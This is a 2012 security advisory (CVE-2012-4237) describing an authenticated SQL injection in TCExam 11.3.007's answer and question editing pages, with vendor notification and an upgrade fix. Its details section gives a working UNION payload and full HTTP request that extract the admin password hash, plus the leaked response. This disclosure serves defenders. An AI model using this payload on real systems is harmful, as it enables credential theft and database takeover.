TCExam Edit SQL Injection

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| TCExam Edit SQL Injection |

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Summary

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TCExam 11.3.007 is prone to a SQL injection flaw located in tce_edit_answer.php and tce_edit_question.php. These files pass a 'subject_module_id' parameter into a SQL statement without satisfactory sanitisation. An attacker with authoring permissions could leverage this vulnerability to take full control of the database.

CVE number: CVE-2012-4237

Impact: High

Vendor homepage: http://www.tcexam.org/

Vendor notified: 06/08/2012

Vendor fixed: 06/08/2012

Credit: Chris Cooper of Reaction Information Security (http://www.reactionis.co.uk/)

This advisory is posted at:

http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html

Affected Products

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Confirmed in TCExam 11.3.007. Prior versions may also be affected.

Details

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The 'subject_module_id' parameters in the tce_edit_answer.php and tce_edit_question.php pages were found to be subject to a SQL injection vulnerability. It was possible to inject arbitrary SQL statements into a WHERE clause, retrieving information from the database via the page output. The attacker must be authenticated as a valid user with a permission level of 5 or above in order for the attack to be successful.

The following payload will extract the admin password hash (some characters may need to be URL encoded):

999999.9 union all select (select concat(0x7e,0x27,tce_users.user_password,0x27,0x7e) from `tcexam`.tce_users where tce_users.user_name = CHAR(97,100,109,105,110) limit 0,1) ,0x0,0x0,0x0,0x0,0x0–

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Example Request:

±--------------

GET /TCExam/admin/code/tce_edit_answer.php?subject_module_id=999999.9+union+all+select+%28select+concat%280x7e%2C0x27%2Ctce_users.user_password%2C0x27%2C0x7e%29+from+%60tcexam%60.tce_users+where+tce_users.user_name+%3d+CHAR(97,100,109,105,110)+limit+0%2C1%29+%2C0x0%2C0x0%2C0x0%2C0x0%2C0x0–&question_subject_id=3&answer_question_id=7 HTTP/1.1

Host: 192.168.0.6

Referer: http://192.168.0.6/TCExam/admin/code/tce_edit_question.php

Cookie: PHPSESSID=db1fe2b665994ff76356e7a28abfa5df

---

Example Response:

±---------------

— SNIP —

<select name="question_subject_id" id="question_subject_id" size="0" onchange="document.getElementById('form_answereditor').changesubject.value=1; document.getElementById('form_answereditor').submit();" title="test topic"> <option value="~'c574b5b09ab10f4f39ae9dce6d539cf0'~">1. - [%00]</option> </select>

— SNIP —

Impact

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An authenticated user with a permission level of 5 or higher could take full control of the database, essentially allowing them to escalate their privileges by either directly controlling the database, cracking an administrator password or potentially changing their own permission level. Furthermore, an attacker might be able to leverage this vulnerability in order to further compromise the host machine.

Solution

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Upgrade to TCExam 11.3.008.

Distribution

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In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

• bugtraq () securityfocus com

• full-disclosure () lists grok org uk

Future updates of this advisory, if any, will be placed on the ReactionIS corporate website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL below for any updates:

http://www.reactionpenetrationtesting.co.uk/tcexam-sql-injection.html

==============================================================================

Reaction Information Security

Lombard House Business Centre,

Suite 117,

12-17 Upper Bridge Street,

Canterbury, Kent, CT1 2NF

Phone: +44 (0)1227 785050

Email: research () reactionis {dot} co {dot} uk

Web: http://www.reactionpenetrationtesting.co.uk